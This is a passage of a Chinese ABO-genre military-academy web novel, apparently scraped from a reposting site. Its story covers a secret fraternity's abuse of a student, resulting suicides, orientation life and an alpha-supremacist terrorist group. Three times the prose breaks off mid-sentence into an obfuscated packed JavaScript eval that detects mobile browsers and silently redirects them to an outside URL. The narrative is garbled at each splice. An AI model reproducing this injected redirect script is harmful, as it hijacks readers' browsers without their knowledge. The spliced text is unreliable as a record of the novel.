“白隼俱乐部虽然是在一军大成立的,但一军大跟它的交集也就那么一两年。真正继承白隼军魂的是二军大吧!你也说了,二军大才是‘白隼军团’。” “是啊,所以我报考了二军大。不过……白隼军团比起白隼俱乐部,感觉多少还是差了那么点意思。” 这时正在玩狼人杀的居鲁士扭头确认,“二军大没兄弟会吗?我怎么听说,内阁里历届‘白隼党’都有兄弟会的背景?” “啊,这个我也听说了!”立刻有人跟进,“不过好像二军大的兄弟会不开放招新,只给他们选中的人发送邀请。受到邀请的全部都是最顶尖儿的alpha,年级风云人物。他们走的是精英路线,所以没那么大的名气——但也听说这两年他们也开始给格外优异的beta发出邀请了。” 不知是不是黎晓的错觉,场面一时又陷入了沉默——仿佛每一个人都畅想了起来似的。 但黎晓当然不会有什么幻想,一个只招收alpha的秘密社团,最近开始对顶尖的beta敞开大门——跟她有什么关系呢? 话说回来,就算他们也开始招收omega了,她也没兴趣——她对一切标榜精英,封闭私密的社团,都本能的感到警惕。 暂时的寂静中,成铭懒洋洋的按照垃圾分类的标准控干了他的红茶杯,压平,把杯盖儿和杯身分开扔进两个不同的垃圾箱里——而发出的响声,更显得散漫和不合时宜了。 而陆清源也适时的微笑起来,“二军大确实也有兄弟会,换过很多名字和会徽,不过私底下一直被人叫‘A盟’——因为他们只邀请男性alpha。他们选会员没什么顶尖一说——如果你出身十二骑士家族,是男性,alpha,只要入学就能获得邀请。他们也不是故意走精英神秘路线,而是因为他们内部丑闻太多,早就被学校取缔了,所以只能秘密活动,私下集会。” “……哎?”四下一片哗然,就连还在玩狼人杀局的学生们也扔下游戏,纷纷扭头来听。 “你是说,历届入阁的白隼党,都是非法社团成员?” “也或者他们跟兄弟会压根就没关系——秘密社团嘛,私下宣称谁是他们的会员都不奇怪。反正被宣称是会员的人,也不可能为这种事特地出面辟谣。” 这时有人小心翼翼的问,“可是……会不会是陆同学弄错了啊?毕竟是那个白隼俱乐部的后继社团啊!” 这时成铭嗤笑了一声,“白隼俱乐部七个人都是男性、alpha、蓝血贵族吗?” 众人便一怔——白隼俱乐部里,那位几乎是反面教材的女性beta姑且不提,其余六人团体在一开始之所以郁郁不得志,也正是因为他们或者是平民出身,或者是在公开场合毫不避讳的站在“平权革命”一侧,而被同类视为异端的贵族子弟。 基本上,他们正是反抗男性、alpha、蓝血贵族特权的,一面炽旗。 “不过……”居鲁士又说,“如果能收到邀请,我还是想加入看看。”他扭头对陆清源一笑,“加入被取缔的社团,有什么惩罚吗?” “只要不是组织者,没参与过非法的活动,理论上就不算违犯校规。”陆清源说,“不过,所有正式加入A盟的人,都不可能是清白的——为了避免成员退出后,把他们的所作所为公之于众,他们把入会仪式设计成了投名状。” “投名状?” “……简单说来,就是合伙作案,把所有人变成共犯。”凌河嗓音一哑,低声解释道。 “……什么共犯?” 在场的除了司机,都是大一新生。他们大部分人都是没怎么见过世面的传统优等生——单纯和年少限制了他们的想象力,他们想不出,学生的恶作剧究竟得到什么程度,才能用得上“投名状”“共犯”这种词汇。全都露出了疑惑的神色。 黎晓也不例外。 成铭却似乎察觉到了什么,他直起身想要结束话题,“这种事,自己去查——” 但陆清源显然觉得,有些事就应该提前敲好警钟,“二十年前A盟的入会仪式上,他们绑架了一位同学,集体对他进行了……霸凌。事后这位学生因不堪受辱,从白隼楼上一跃而下。这件事引起公愤,学生们要求学校彻查原委。调查出的结果触目惊心——A盟也因此成为第一个被二军大公开取缔的社团。” “……”又是一片寂静。片刻后,才有人不敢置信的询问,“那为什么这种社团还能继续活动?” “因为他们换了名称、会徽,驻地,宣称自己不是最初被取缔的那个社团。”陆清源说。 “……那你怎么知道,他们还是原先那一个?” “很简单,”陆清源说,“因为不管他们的名称、会徽怎么变,他们的理念始终如一——只接纳男性alpha入会。他们认为自己在守卫一种荣耀,而这荣耀是男性alpha的专属,不容他人染指。” “可是他们最近不是也开始接纳顶尖的beta了吗?而且……”说话的人自己也不那么肯定,“只招收男alpha也不一定就是仇视其他性别啊。你说的那种事,我记得在其他学校也发生过,就是纯粹的恶性霸凌事件,其中一起参与者还都是女beta——也不全是男alpha干的啊。这最多说明这个社团里有些败类,不代表社团本身是邪恶的。而且这都是二十年前的事了,当年的成员早就不在了。” 虽无人表态,但在场的男性alpha占了多数。一个拥有顶尖社交资源的社团,只对男性alpha敞开大门——他们看不出这有什么害处,并且发自内心的,不希望它被污名化。 陆清源沉默着,没有急于回答。 “你们还真是不见棺材不掉泪啊。”开口的是成铭,“二十年前入会仪式上,被羞辱的人根本不是被绑架的——她是自己走进去的。因为她收到了邀请——跟你刚才说的一个套路,‘A盟开始接受顶尖的女性alpha’了,所以收到邀请的女alpha抬头挺胸的走进A盟设在校外的社团活动大楼。她以为自己的优秀得到了承认。但她第二天才从A盟走出来,穿着被撕烂的衣服,满身是伤。如果她回公寓时跟往常一样看一下她的信箱,她还会发现里面有一张她的受辱照——这是用来威胁她闭嘴的。但她没有。” “她选择向校委会投诉,但A盟那些败类早就准备周全,那栋大楼根本不是他们的活动室,完全是为了实施这次羞辱而临时租赁的。书面上看那栋大楼跟他们毫无关系。他们互相提供不在场证明,根本就抓不到半点把柄。最终因为证据不足,校委会决定不予处罚。” “正规渠道得不到公正,她就向他们下决斗书,但决斗当天等来的却是校委会的执行团——因为二军大的校规明文禁止私下决斗。走投无路之下她闯进白隼楼,在楼顶和一名‘碰巧’在那儿的A盟会员对峙之后,选择了自杀。” 四面一片寂静。 成铭也就顺势继续说了下去,“她死了,而A盟依旧屁事没有。但是他们扔在她邮箱里照片,终于起了作用。她最好的朋友清理她的遗物时,打开邮箱发现了这张照片,终于知道她身上发生了什么。一周之后,胜利日庆典,趁着学生们聚集在白隼楼前等待对抗赛的号角时,这个人在战术系和装备社几名学生的配合下占领了白隼楼,劫持了校内广播系统,当着全校学生的面公开对A盟提出控诉,要求学校彻查她的死因。” “然后,”成铭说,“她也跳了白隼楼。” “幸运的是,她最终被抢救回来。但连续两起自杀事件在学生中引起了公愤,她的诉求得到了广泛的声援。学校成立了特别调查团,开始对A盟展开调查。” “就在调查陷入胶着时,”成铭冷冷的一笑,“第三名学生坠楼了——但他不是自己跳下去的,而是被推下去的,因为他亲眼目睹和参与了那场羞辱,良心遭受了巨大的折磨。他想向调查团自首,但预感到一旦他说出真相,他在A盟那些家世显赫的共犯‘兄弟们’肯定不会放过他。所以他提前写好了遗书。” “而这第三跳也成为了突破口。调查团终于申请到了搜捕令,可以合法进入A盟用作活动室的私人房产进行搜查,传讯在册成员了。” “然后,你们猜,他们为什么要羞辱一个女alpha?” 没有人出声——没有人敢相信这么邪恶的事会发生在一个学生社团里。 成铭说,“因为她在一名男alpha想要强行标记她的同学时,出手阻止了他。而标记指定的omega,正是A盟向这个男alpha提出的入会考验之一。” “所以,A盟盯上她,是因为她打断了他们的入会仪式?但是,为什么要用这么……这么卑鄙的方式?”又有人问道。 卑鄙吗?确实是卑鄙的。但黎晓并不认为他们选择这种方式是因为卑鄙——就算在二十年后的现在,一个只承认男性alpha社团,对其余任何一种性别的成员发出邀请,依旧会被大部分人认为是一项殊荣。在二十年前,他们发出的邀请,必定也曾让那位女性alpha感到荣幸。但当她意气风发的踏入社团大门后,发现他们的真实用意,她所受到的屈辱势必更为深刻。 他们选择这种方式,恐怕也正因如此。 可是,这种方式背后,却同样也透着气急败坏。 那么究竟是什么触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不用特地黑进案卷库,”陆清源及时截住了话题,“当年占领白隼楼的学生,有一人毕业后被分配到达瓦警备队,兼领预备役第七军。刚巧是他的考官和长官。寒假我去达瓦做毕业选题时,受到这位长官的关照,他还特地向我提起过成铭。” 没有任何人质疑陆清源的话,他们只是稍稍有些惊讶,“你们两个以前就认识了啊?” “嗯。”陆清源微笑着,“我们并肩作战过。” 成铭没有否认——虽然他并不在乎,但黑进军网的案卷库,确实不适合在大庭广众之下亲口承认。 黎晓不希望这个话题被继续追问,于是问道,“二军大既然有A盟,那有没有B盟?” “有,”陆清源也随即起了谈兴,“不但有B盟,还有O盟。” 沉重灰暗的话题已经说得太多了,众人也急需转移注意力,目光立刻再次亮起来,“O盟都有?二军大有这么多omega吗?” “不,虽然这两个也是地下社团,但跟性别完全没关系。” “……地下社团?” 众人对A盟已经心有余悸,听到“地下”二字,就总觉得不踏实。 “嗯,没在学生会注册过——但是也没跟A盟那么臭名昭著,被公开取缔。”陆清源微笑着解释,“B盟——禁|书爱好者同盟,听名字也知道是怎么回事。O盟——怪胎联盟,一个热衷于搞无用发明的装备师组织。” 和神秘邪恶的兄弟会比起来,这两个就稍微欠缺了些噱头。 众人调侃了几句,便又把话题拉回到了那些传统的学生社团上。 虽然和他们一样都是一年级生,但陆清源对二军大显然比他们要熟悉得多。他毫无疑问是个alpha,但他身上仿佛又有种奇特的气质,能令其余的alpha在他面前收起争强好胜的心,能令beta也感到温和友善,如沐春风。他耐心的回答着每一个的人的提问,不偏不倚。 不知不觉的,车上那种似有若无的紧绷气氛消失了。所有人都把注意力转移到了“二军大都有些什么社团”上。 就只有黎晓,还在想着先前的话题。 她想,成铭为什么要特地追查A盟的底细? 他完全不是会对只邀请男性alpha的,有蓝血贵族血统的秘密社团感兴趣的人。 那么,会不会是因为她报考了二军大,所以他想要知道二军大对omega来说究竟是怎样的地方,于是专门做了调查? 这种猜测简直太自我中心了,黎晓忍不住提醒自己。正如她不愿继续追着成铭的背影前进,成铭又怎么可能总是围绕着她思考?不要再自作多情了,她告诉自己,这对他们两个都没有好处。 但她控制不住自己对成铭的在意。 少年和成年人是不一样的。少年时暗恋着一个人的心情,哪怕你再怎么想着掐灭它、掐灭它,可还是会看到一丁点儿光,就蓬勃的死灰复燃起来。 但她最终还是平静下来——她毕竟不同于寻常的少年。 她终于收回了心神,安静的,没什么存在感的继续旁听着车里的聊天。 而成铭的目光扫过她,扫过坐在她旁边,吸引了全部关注的陆清源,也终于默不作声的转身,回到了原来的座位上。 不多时,校车缓缓的拐了个弯。驶入一条林荫道,林荫道两侧傲然整齐的挺立着笔直冲天的白杨树,就像两排执剑戍守的士兵。 林荫道的尽头,二军大那座曾出现在无数旅游手册上的巍峨城堡出现在他们视野中。 那座蓝顶白墙,坐落在山与湖之间的秀美高洁的城堡,原本是众多宫殿群中的一座。 当加洛林皇帝宣布迁都后,这座城市的主设计师圈定了一大片宝地作为新的皇宫所在,并最先动工建造。据说那是地下灵脉汇集之处,在此建造主宅可保家族福祚绵延,兴旺千载。而加洛林皇帝视察过后,决定将此地分拨,用来建造国立大学和第二军事学院。他说,我没有子孙,我的家族注定灭亡在我这一代。就让此地灵脉保佑我创办的学校,世代人才兴旺吧。 于是,这座最先建好的城堡,便成了二军大最初的教室和校舍。 帝国历代以白隼为将星的标志,而这座城堡又先后有三位“白隼俱乐部”里的名将入主,于是这座城堡的主楼,便也被人称为“白隼楼”。白隼楼前的广场,也是二军大举办重要活动的主要场所。 尽管才刚刚被告知,二十年前先后有两名学生从这里跳下。但当黎晓的双脚踏在白隼广场前,仰望着这所学校的地标时,她的内心依旧相信,这所学校的未来,必然是光明的。 22. 此间的少年(三) 随之而来的是各种指导课——指导如何选课的,指导如何选择学生社团的,指导如何适应新的学习节奏的,甚至还有指导你遇到问题该向那些部门求助的……这些问题包括但不限于性别歧视、舍友不和、专业不符、心理落差…… 入学之前,二军大的形象在学生们心里是多么的光辉灿烂——在亿万学子们心中,进了二军大,就跟从平庸和泥淖中腾空而起,从此飞身进入为人类解放而不懈奋斗的伟大高洁的英雄领域似的。 但入学之后却发现,英雄领域的前辈们正意带怜悯的拍着你的肩膀提醒——嘿,醒醒,别飘了,赶紧认清现实吧。 那落差,真是一言难尽。 虽然有指导如何选课的“指导课”,但传说中针对全校学生开放选修的多达上百门的公开课,却压根儿就没出现在他们的可选列表上。与之相对应的,他们的选课页面上,已经有不可取消的灰色图标帮他们选定了这学期的必修课——野外军事训练和实战自我研修。 所有军校生都必须接受不得少于三个月的野外军事训练——这项规定,在报考军校的时候他们就已经被告知了。秋季学期一共才四个月,参加军训的那个学期不能选课,也是理所当然的事。 值得宽慰的是,他们可以选择任教教官。不幸的是,他们压根儿不知道这些教官有什么区别。幸运的是,他们可以向他们的“学生辅导员”——他们都是本院系三年级的师兄师姐,是过来人——询问请教。不幸的是,等他们打探出哪位教官比较耐心、比较会教、比较不为难学生,回头准备选他时,却发现他已经变成了不可选选项——因为名额在一瞬间就被抢光了。 隔音良好,但住户普遍不怎么爱关门的公寓楼里,一片惨淡哀嚎之声。 黎晓:……大学套路好深啊!学生选课竞争好残酷啊!话说回来,不过就是选个课而已,为什么会有种不能输在起跑线上的紧迫感?课不都是一样的吗? ——出生在教育资源分配十分公正、教师人文素养考核十分严格的嘉洛林区,并且因为基础课程对她而言过于简单而一直不怎么依靠老师教导,始终被所有老师偏爱信赖着的黎晓同学,尚还不明白,优秀的指导者对学生而言究竟意味着什么。 毕竟有些经验,是只能在挫折和失败中获得的。 选完了课,便要开始为野外军事训练做准备——黎晓觉着这才是最需要指导的,但系里反而没有为此专门安排指导课。 甚至就连给他们当“学生辅导员”的和蔼可亲的三年级师兄师姐们,对此也都轻描淡写。 “需要带的东西都写在入学指导手册上了,照着买齐就行。” “就没什么需要特别注意的吗?”大一新生们嗷嗷待哺。 “嗯……”师兄师姐们想了想,“认识卫生巾吗?” 底下一群懵懂点头。 ——虽然他们大部分人都不像女性omega那样是天生的受|孕体质,但也不全都是男性alpha天生不具备受|孕体质。除非娶了女omega或者嫁了男alpha想要孩子就别无选择,否则他们大部分人日后都得面临要不要激活自己的副性征这个选项——反正就算逃避,也难保极端状况下副性征不会自行激活。 甚至有时都不用等到生育调养期——明明生下来是男孩儿,养着养着就变成女孩儿了;或者明明生下来是女孩,养着养着就变成男孩儿了。这种事家长们虽不说司空见惯,但也很少会大惊小怪。① 所以生理期这个问题,所有人都得学习——这是传统性教育的基础内容,甚至都不用平权革命去推动。 所以他们当然知道卫生巾是干嘛用的。 但是生理期这种东西——且不说他们大部分人都还没到需要考虑这个问题的年纪,就算到了吧——不想它来,用药控制住不就行了?要卫生巾干嘛? “带点儿吧。”师兄师姐们呲着牙笑,“你们会需要的。” “……” “但是千万记住,这玩意儿不是绷带,不能拿来止血哈。” 新生们:…… 新生们脑补过度,无不惶恐忐忑,纷纷议论卫生巾究竟是拿来干嘛的,他们究竟为什么会需要卫生巾。 “哈哈哈哈这个偏方居然还在传?”当黎晓提到这件事时,沙利叶发来了个捶地的表情,“挺好的,带上吧哈哈哈。” 在飞机上沙利叶就和黎晓交换了通讯地址,当天晚上沙利叶就联系了她。这两天她似乎很闲,每晚定时打卡问黎晓——她推荐的那本写洛珈的书她读了没。是一名很关心后辈的师姐没错了。 黎晓:“……所以,到底为什么要带?” “统一口径是——你们要去的基地在大树海,而大树海很潮湿。不想一觉醒来军靴里长蘑菇,就在靴子里垫上卫生巾。” “‘统一口径’?” “就是串通好了骗小孩的。” “……” “你们得在基地待三个月。按两天换一次算,每人最少需要90片卫生巾——想想这体积。” “……懂了。”黎晓失笑,“所以真实理由是?” 屏幕的另一侧,沙利叶敲键盘的手稍稍停顿了片刻。 ——真实理由是,二军大招收omega。而野外军事训练不会提供和学校一样的住宿条件,四人、八人甚至十二人睡一间宿舍,都是很常见的事,当众打开行李箱取用私人物品几乎不可避免。 有一年,应用导力系一名omega学生服用抑制剂的时候,意外被一个多事的战术系学生看到,流言被传得满天飞。分组演练时,这名omega学生接连被几个战术组拒绝。 这件事引起了应用导力系其他学生的怒火,于是,当其中一个战术组选中了导力系另一位学生时,这个学生给出了这样的答复,“好啊,不过我好像有些侧漏了,得先去换片卫生巾。” 第一个学生这么回答时,在场一片尴尬震惊的静默。 但随着第二个、第三个……每一个被这几个战术组邀请的导力系学员都给出了同样的回答,场面就越来越控制不住了。 最后,就连没拒绝过这名omega的战术组也开始得到同样的答复。 终于有一个战术组对此回复道,“行行行。刚好我们的也该换了,不耽误。” 哄堂大笑的同时,导力系这帮新兵不但帮自己的同学找回了场子,也终于在野外军事训练中,头一次让战术系听到了自己的声音——装备上的要求你们尽管提,但除此之外的事儿轮不到你们瞎哔哔! 从此之后,“卫生巾”也就成了导力系学生参加野外军事训练的固定装备。 每年军训分好组后,导力系学生不论男女ABO打开箱子稀里哗啦各自掏出一包卫生巾,那先声夺人,每每带给其他系的学生一场不亚于血与火的精神洗礼。 “问那么多干嘛?”沙利叶飞快敲出一串哈哈哈,“总之你带着就行,师兄师姐绝对不会害你们的。” 黎晓:……但她就是觉得,师兄师姐在等着看他们的笑话啊! “好吧……”她又说,“对了,师姐,实战自我研修是什么课?” “就是自习课。等到了基地你就懂了,现在告诉你反而没意思。” 黎晓:你看你看,就是这样——众口一词的“到时候你们就知道了”,那种“我吃过的亏怎么能让你们逃过去”的小心思,都写在脸上了! 不过,入学指导手册上写的确实已经很详细了——他们会在位于大树海的基地里进行为期三个月的野外军事训练,按基地不同,住宿条件也各不相同。基地主要设施包括模拟战斗室、装备实验室、图书馆……学校会提供给他们哪些装备,不适合制式装备的学生可以凭证件申请更换哪些装备……学生需要自备的用品有哪些,不可携带的物品又有哪些,都罗列得清清楚楚。 黎晓习惯性的检索了一下基地图书馆的可借阅书目,发现已经统一开放预约了,于是参照往年的借阅频率,提前预约了几本导力专业相关的书。 仔细想想,好像也确实没什么需要特别补充的了。 ——若非要准备万全才能启程,训练的意义又何在? 她便也不再勉强追问了。 倒是沙利叶又问,“对了,你分到哪个公寓了?” “16号公寓。”二军大的学生公寓名称就是这么简洁直白。 “魔狱公寓?” 黎晓发了个捂脸的表情,“是。” 16号公寓楼下的餐厅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726853|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人称魔狱厨房——什么红辣椒炒青辣椒,火龙果酿肉,西瓜皮炖排骨,冰镇麻辣烫……一切你能想到的不能想到的搭配都可能在此出现,并且层出不穷。传说老板是二军大武斗第一人,跟胆敢挑剔他菜谱的食客单挑,还从没打输过。 虽然开学还不到一周,但年少无知贪图路近的黎晓同学,已经充分领教过服务员的恶劣态度和红辣椒炒青辣椒盖饭的不凡威力了——那是当天菜谱中唯一一道看上去不那么黑暗的。 所以每次她回答“16号公寓”,而师兄师姐们脱口而出“啊,那个魔狱公寓”,她都能心领神会——在这么一骑绝尘的餐厅面前,什么公寓都不配有自己的姓名,只配跟它姓! “16号公寓还好啦。”黎晓甚至能从沙利叶发过来的标准4号方正字体里,看出她隐忍的笑意,“算是全校硬件条件最好的公寓——每个房间都有自己独立的过滤系统和通风系统。” “……”这一点学校倒是从来都没提过。 独立的过滤系统和通风系统——这意味着就算她在自己卧室里发作,或者隔壁就有个alpha在肆无忌惮的散发信息素,他们互相之间也不会察觉到对方的存在。应该是专门为了omega学生而配置的设施。 在招收omega学生一事上,二军大确实是认真的。 “嗯。”黎晓微笑着,敲下这个字。 “舍友人怎么样,还相处得来吗?”沙利叶又问。 公寓是单元式设计。虽然每个学生都有独立的卧室,但每四个学生共用一个书房和活动室,互相算是舍友。 和黎晓一起住306舍的三个学生,其中两人读医学系,另一人和她一样读导力系。不同院系的活动教室和课程时间都不相同,虽然作为新生这一周里他们都翻着地图奔波在各个教学楼里听各种“指导课”,但时间和地点上居然完全错开了。所以至今也没怎么有机会相处。 导力系的那个倒是相处过——是个男生,看上去十分热情率直。但询问了她的入学笔试成绩之后,表现得就有些别扭。和朋友通话时,会很不由衷的说,“这里的学生都太厉害了,我都怕自己跟不上他们。我的舍友是嘉洛林区笔试状元,你知道她考了多少分吗?说出来吓死你——他们唐人实在太擅长考试了!”扭头和他妈妈打电话,又抱怨,“我听不惯唐人的口音,他们说话太难听了,就跟舌头卷不起来似的。” ——就当着黎晓的面。 黎晓不确定他就是这么直率,还是在故意试探她的反应。或者干脆就是没把她放在眼里?总之她很确定,自己跟这个人,合不来。 不过也只到“合不来”的程度而已,只是寻常的人际关系问题。 “才刚刚认识,还在磨合呢。”黎晓也回了个呲牙的笑脸,“多谢师姐关心。” “想谢我,就赶紧把《洛珈传》读完,我等你的读后感!” 黎晓:…… 黎晓这孩子,吃亏就吃亏在太认真了——《洛珈传》她真的去读了,虽然才止读完第一卷,但套路她已经懂了。 在她的印象中,洛珈的形象一直都是钢铁般的——她是嘉洛林区的精神象征,她是帝国的反叛者,她有正史可查的令同时代的alpha名将们排着队吃败仗。就是这么个硬得跟铁棍儿似的,确凿无疑的强势女beta,居然也能被写成玛丽苏大omega戏的女主角——凡是有头有脸的alpha就没有不对她一眼万年的。也是叹为观止啊! 别的倒还好。虽然描述alpha们对洛珈的欣赏时,总是强调她的眼睛有多么张扬美丽,实在令人想入非非,但毕竟没明说他们对她有爱慕之情,可是—— “这本书说加洛林皇帝爱上了洛珈……你确定它是‘在史实的基础上合理想象’吗?” “对啊,谁叫加洛林皇帝一辈子没娶妻呢。设想一下,如果他的真爱是一辈子不肯踏入帝都的叛将……他的孤身独守是不是一下子就变得合理了?” 黎晓:……好的懂了。合理想象的意思就是,虽然我没证据,但你也没啊!虽然我不合常理,但我能圆起来呀! 向文学作品中寻求历史真实,她也是给绕糊涂了。 “……好的懂了。”她笑着摇了摇头,“我……尽量读完。” 23. 此间的少年(四) 沙利叶关掉电脑,伸着懒腰打了个哈欠。 正要起身离开前,却望见了黑洞洞的屏幕上映着的自己的身影。俏丽的短发,秀长的脖颈,纯白蕾丝的衬衣领子下细长的缎带被一丝不苟的系做蝴蝶结——看上去就像一只品性贤淑的小绵羊。唯独面容是模糊的。 她对着这黑漆漆的镜子露出一个挑衅的笑,扬头扯开衬衣的衣领,拇指一勾抹去了唇上被称作“斩男色”的唇膏,对着屏幕比了个射击的手势。 这才心满意足的用脚推开椅子,转身离开。 这是位于帝都东郊夏朗山上的一座小别墅,别墅不算大,木质主体,简朴的上下两层结构,低调的掩映在明净秀美的湖光山色。若无人领路,几乎不可能被找到。 虽然看上去不起眼,住着却相当的舒服。 每个房间都有专门的小阳台,朝向不同的方向,可欣赏不同的风景。从雪山到小湖到层次分明的阔叶针叶林应有尽有——楼下繁茂生长的小花园也很不错。 吃得也很舒服。虽然没什么昂贵复杂的名菜,但煮菜的老仆手艺很是了得,家常菜也做得“色香味”俱全,营养搭配全面合理,并且都快一周了,居然都没让她吃过一道重复的菜肴。该说真不愧是唐人吗? 唯一令沙利叶感到不满的是——供水、通风和温控系统隐藏得太深了,已经超出“不破坏整体和谐”的范畴,进入视觉欺诈的领域了。若不是像她这样对导力设施熟悉到了一定的程度,恐怕真的会觉得室内舒适的体感纯粹是因为建筑师的巧妙设计和此地的气候,而没有现代科技的功劳。 用昂贵至极的方式,营造出简朴自然的生活——豪门贵族的享受理念,真是曲折复杂难以理解啊,沙利叶想。 她下楼时看到房子的女主人正坐在壁炉前的沙发上,用烧火棍拨弄着炉火。她的膝盖上搭着格子纹的羊毛围巾,围巾上摊开着一本书。那是个温和美丽的女人,岁月没有在她脸上留下什么痕迹,单看外貌她怕也不比沙利叶年长几岁——但看她的目光和妆容,你就知道她已经不是很年轻了。 虽然才刚进九月,但山间的夜晚已经很冷了。屋外气温能到10度以下,有时甚至逼近零度。但智能温控系统的调节下,屋里的温度其实还好——能让你感到山间秋夜之凉,却不会真冻着你。是用不上过冬的装备的。 不过,看到女主人望着炉火的目光,沙利叶又觉得——她需要的大概不是取暖,而是火苗吧。 听到沙利叶的脚步声,女主人微微向她点了点头,示意她可以在一旁坐下。 壁炉旁就只剩一张摇椅,所以女主人表示,“如果坐不惯,可以搬一张方凳过来。” 沙利叶喜欢唐人享受生活的方式——但在壁炉前坐摇椅例外。或许年长的唐人躺在摇椅上晒太阳看上去很悠闲,但大多数民族的年轻人垮在摇椅上的模样,都只会让人觉得他们磕嗨了。 她从善如流的搬来一张凳子,就在女主人的身边坐下。 “打探到你想要的情报了吗?”女主人问。 沙利叶难得乖巧的点头,“算是吧——虽然不完全。”她主动向女主人共享,“劫机案是‘萨克森骑士团’的余孽搞出来的。” 女主人握着木柴的手僵了片刻,仿佛尘埃落尽少有波澜的目光,在听到这个名字的瞬间,竟仿佛有愤怒的火苗蹿升起来。 她看向了沙利叶,“萨克森骑士团?”她向沙利叶确认。 沙利叶被这变故稍稍打乱了节奏,心想这深居简出的贵妇人,莫非跟复国骑士团曾有过什么深仇大恨? ——萨克森骑士团,全称“萨克森复国骑士团”。 在沙利叶心里,八十年前年前这“骑士团”的存在意味着什么另说,但这都什么年代了,这骑士团居然还有追随者,怕不都是弱智吧。但想起飞机上的东西,再看到眼前人眼中货真价实的愤怒,她直觉这个组织恐怕没她想得那么简单。 她不由自主又在脑中过了一遍这骑士团的历史。 众所周知,加洛林皇帝并不是正常继位的——他父亲的合法继承人是他的兄长兰迪斯七世。但这位兰迪斯七世是个暴虐又自私的草包,在位短短七年,在内搅得叛军迭起,对外割让大片领土。面对兽潮不但无所作为,还训斥往帝都送兽潮情报的地方军妖言惑众。在亲眼看到兽潮灾情时,又下令关闭城门禁止难民涌入。最终被愤怒的难民和士兵赶下皇位驱逐出城,流亡到国外。 这才轮到当时正在亚丁抵御兽潮的加洛林继位。 当时身在帝都的贵族们都默认了现状,效忠于新的皇帝。 但是不久之后,加洛林皇帝便颁布了迁都令。迁都时兽潮虽已退去,却给所有目睹其景象的人带来了一生不散的心理阴影。而亚丁是面向大树海建造的最北的堡垒。所有人都知道,一旦兽潮再起,这里必然首当其冲。 并不是所有贵族都肯放弃位于帝国腹地的已被无数历史证明是安全之所在的旧都,搬迁到随时可能成为前线的新都。 而这群人很快便被加洛林皇帝排除出了决策中心。 他们不甘心被边缘化,想通过家族积累下来的影响力,反过来干涉来自新帝都亚丁的决策。却无一例外的失败了。甚至有不少家族因为公然渎职怠命和贿赂,而被剥夺财产和公职,沦为罪人。 这群不甘心的失败者,很快便聚集到了流亡在外的兰迪斯七世的身边,成立了流亡政府。 他们正式进入公众视野,是在加洛林皇帝去世之后。 加洛林皇帝是众所周知的人形兵器,体内过度富集的回路赋予了他强大的力量,却也极大加重了他的身体负担。 他在正常人所谓年富力强的年纪上,便已预感到了死亡的临近。于是他开始修改继承法案,挑选自己的继承人。 但他的身体状况恶化的远比预计中更快。当他躺在病床上口述自己的遗嘱时,新的继承法案尚未提交议会表决,朝中也未就继承人的问题吵出什么结果。 加洛林皇帝没有娶妻,自然更没有留下什么子嗣。 按照帝国奉行几千年的继承法,唯有能穿戴得起神赐礼装“君权神授”的皇子才拥有继承权。而当时帝国皇室里符合条件的人选,除了加洛林皇帝本人,就只有他的兄长兰迪斯七世和兰迪斯七世的长子依兰大公萨克森——被逐出帝国后,这位皇帝用旧都命名了自己的儿子。 虽然亚丁的新贵们没人会答应让兰迪斯七世回国,但他的儿子,似乎也不是不可考虑。 而当时确实有这样的声音——为了缓和国内萨克森派老贵族的不满,避免日益激烈的矛盾引发内战,选择这位流亡皇子为继承人,虽不免有所顾虑,却也算是两全其美。 但所有人都没有想到,加洛林皇帝最终选中的继承人,并不是他哥哥的儿子,而是他姐姐的儿子法比奥一世。 这在帝国历史上从无先例。 但加洛林皇帝是将民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是。”女主人毫无隐瞒的打算,“你说你获得的情报‘不完全’——缺了哪一块?” ——当沙利叶向她求助时,她虽为沙利叶提供的方便,却对沙利叶想要调查的事并无特别的兴趣。但当沙利叶告诉她主谋者之后,她显然是不打算袖手旁观了。 沙利叶并非信不过这位女士,可是……她的态度转变太大了。 “您能告诉我这个骑士团是干什么的吗?”她没有急于和盘托出,而是先打探道。 女主人似乎思索了片刻。 “‘萨克森骑士团——传说中在萨克森大神殿前接受了神赐礼装的天授之人所组成的最初的骑士团。人类最早的守护者,鸿蒙的开辟者,黄金时代的缔造者。Alpha军团中的alpha军团。’”她说,“他们这么解释自己的名字。” 沙利叶愣了一下——显然此萨克森骑士团非彼萨克森骑士团。 但这口号……怎么好像在哪里听过似的。 “他们认为alpha向‘愚者’和‘弱者’做出了太多妥协,让渡了太多权力,才导致平权运动的乱象。认为‘是时候发出alpha的声音’,‘找回属于alpha的荣光’,‘恢复世界本来的秩序’了。” 这一连串口号就太有针对性了。沙利叶立刻否定了自己的猜测——二军大那个不知所谓的纨绔子弟社交社团,是不可能给自己树立这种显然得付出巨大代价的反社会目标的。 “……他们是一个主张‘alpha至上’的恐怖主义组织。”女主人说。 24. 此间的少年(五) 这解释让沙利叶更困惑了。 那天参与劫机的并不全是alpha,但当然——谁规定信奉alpha至上的组织就不能有beta崇拜者?这世上总有那么几个跪得太久的beta直不起膝盖,急于为alpha至上党带路,以获取虽然低于alpha但高于beta的地位。 可是,这样一个组织,真的有可能会为了获得一样对他们毫无意义的东西,而制造劫机案吗? 